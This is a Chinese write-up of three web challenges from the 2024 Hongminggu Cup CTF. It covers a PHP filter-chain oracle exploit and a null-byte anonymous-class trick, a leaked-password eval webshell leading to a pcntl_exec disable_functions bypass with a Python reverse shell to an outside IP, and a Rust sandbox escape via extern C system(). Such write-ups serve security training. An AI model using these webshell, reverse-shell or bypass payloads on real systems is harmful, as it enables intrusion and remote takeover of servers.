0%

红明谷杯 2024

pcntl_exec绕过disable_function限制、Rust语言

ezphp

php版本为8.3.2

源码如下

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
echo hash_file('md5', $_POST['f']);
}
?>

注意到hash_file函数,有点像侧信道攻击的file函数,去网上搜到有关fliter_chainsexp

该脚本可利用函数file()hash_file()file_get_contents()copy()

1
python3 filters_chain_oracle_exploit.py --target url --file 'flag.php' --parameter f

爆出来参数为ezphpPhp8,加上参数就可以看到flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (isset($_GET['ezphpPhp8'])) {
highlight_file(__FILE__);
} else {
die("No");
}
$a = new class {
function __construct()
{
}

function getflag()
{
system('cat /flag');
}
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

然后这里的 $a 是匿名类,但是 unset 会销毁变量,这下不会了

这个时候要找一下如何触发一个匿名类 参考文章

匿名类的类名与文件所在行列相关,即同一个位置实例出来的类为同一个类

也就是说虽然被销毁了但是我们实例化出来是一样的类

1
2
3
$obj=new class{};
// class名为: 'class@anonymous'+chr(0)+php文件路径+行数$列数
echo get_class($obj);

payload如下

1
/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

这里的列数是随机的,bp抓包爆破一下即可

unauth

打开题目有个弹框登录

扫目录发现有日志文件泄露,得到admin密码

1
[2022-01-01 12:34:56]  Authentication successful - User: admin Pass: 2e525e29e465f45d8d7c56319fe73036

成功登录,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo '小明是运维工程师,最近网站老是出现bug。';
exit;
} else {
$validUser = 'admin';
$validPass = '2e525e29e465f45d8d7c56319fe73036';

if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo 'Invalid credentials';
exit;
}
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>

尝试查看phpinfo发现不行,写个马蚁剑连接先

1
?cmd=?><?=eval($_POST[1]);

记得下面的请求信息带上请求头Authorization:Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=

查看php.ini,禁用函数如下

1
eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink

我们在php拓展注意到pcntl.so

去网上搜到利用pcntl_exec绕过disable_function限制 参考文章

并且此函数刚好没有被禁用,payload如下

1
2
3
4
5
GET:
?cmd=?><?=eval($_POST[1]);

POST:
1=?><?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("47.242.11.183",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

成功反弹shell后,尝试suid提权,发现有su命令

1
su admin

密码在config.inc.php

成功提权得到flag

playground

Rust

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#[macro_use] extern crate rocket;  

use std::fs;
use std::fs::File;
use std::io::Write;
use std::process::Command;
use rand::Rng;

#[get("/")]
fn index() -> String {
fs::read_to_string("main.rs").unwrap_or(String::default())
}

#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
if code.contains("std") {
return "Error: std is not allowed".to_string();
}
//generate a random 5 length file name
let file_name = rand::thread_rng()
.sample_iter(&rand::distributions::Alphanumeric)
.take(5)
.map(char::from)
.collect::<String>();
if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
file.write_all(code.as_bytes());
}
if let Ok(build_output) = Command::new("rustc")
.arg(format!("playground/{}.rs",&file_name))
.arg("-C")
.arg("debuginfo=0")
.arg("-C")
.arg("opt-level=3")
.arg("-o")
.arg(format!("playground/{}",&file_name))
.output() {
if !build_output.status.success(){
fs::remove_file(format!("playground/{}.rs",&file_name));
return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
}
}
fs::remove_file(format!("playground/{}.rs",&file_name));
if let Ok(output) = Command::new(format!("playground/{}",&file_name))
.output() {
if !output.status.success(){
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
} else{
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
}
}
return String::default();

}

#[launch]
fn rocket() -> _ {
let figment = rocket::Config::figment()
.merge(("address", "0.0.0.0"));
rocket::custom(figment).mount("/", routes![])
}

注意/rust_code路由下,过滤了std表示禁止使用Rust的标准库。生成一个随机的长度为 5 的文件名,使用 File::create 创建一个文件,路径为 playground/{}.rs,然后运行rust代码并输出

我们的目标是通过system函数执行命令,但是system属于外部函数,需要我们声明一下

payload如下

1
2
3
4
5
6
7
8
9
10
11
//声明外部函数 C语言库函数
extern "C" {
fn system(cmd: *const u8) -> i32;
}

fn main() {
// Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作
unsafe {
system("cat /flag".as_ptr());
}
}

或者是

1
2
3
4
5
6
7
8
extern "C" {
fn system(s: *const u8) -> i32;
}
fn main() {
unsafe{
system(b"cat /flag" as *const u8)
};
}